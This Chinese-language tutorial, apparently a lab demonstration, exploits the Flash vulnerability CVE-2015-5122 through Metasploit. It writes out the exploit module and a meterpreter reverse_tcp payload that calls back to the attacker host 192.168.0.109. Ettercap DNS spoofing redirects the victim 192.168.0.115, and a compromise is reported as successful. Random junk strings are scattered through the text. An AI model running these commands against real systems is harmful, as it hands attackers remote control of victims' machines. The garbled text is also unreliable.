cve2015-5122漏洞实例演示虚拟机

admin

' `2 ] R1 M" ?, g( {; j 二、cve2015-5122漏洞实例演示虚拟机 0 ]. V# c' I- N. o" w2 k1 D0 _

3 B% Q% I: k+ ^3 T. h& m

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： . y$ v+ P) y; X- p& }. @

7 n5 R% J* g( p8 T; y. ? search cve-2015-5122如图：

 

# H6 T: }- u* m$ V! F 下面我们敲如下命令： 0 }* H6 J9 j( p4 G O# M

use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp . P$ o. e4 J5 O% l( D+ E+ E6 |

, x# h5 v8 O) D1 _$ O1 T! T

) k$ ]# }( a9 F9 p set LHOST 192.168.0.109

8 G) F4 B0 o9 F3 l1 _

# w) c, g' R9 j: Y t! i set URIPATH /                        /*根目录*/ 4 p5 j! Y% {( Y* b, s) Y

6 r+ N; i4 n. }: ~ set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

/ c; O3 H: n1 T5 Y- p

( I; d7 p! x2 B# C set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 7 x. e. V6 r$ ]3 t% b4 l1 I, Y0 C, P

% h7 i. }( z% [

- e- D0 i/ H' m3 z+ {+ P$ B0 s% V 然后show options如图：

, @$ Y+ u& H4 A( q3 R& N9 U

4 j/ D2 t8 ?3 R ?3 t  

- r' {+ L, S* H* [" ]7 ^) }1 h

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
9 M- h& d2 a/ t& K * a- q1 k8 G& @

0 G+ h# Z! f7 f

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf / @+ t2 }* P9 A2 J/ k

- V' s+ F3 o$ Z. ~0 T% S. R6 d* R

/ L- z# ]0 \3 Z* Z. B% d   , V6 w! K& r$ p

: h' X( D1 @, `# t- z0 O

成功了，这时候我们断开ettercap，如图：

+ v5 H( Q+ t- c; m' D

' k; @# T# a+ \+ ]- N- {5 d   % A c# C0 u @7 C. Y

# F, ]% u3 F+ M& O# v4 T Screenshot如图： 8 N4 P( b% w4 X$ c9 P, q

! c( p' O7 U0 B" M! _; z) s9 r

. }+ `9 d& Z. s2 _& o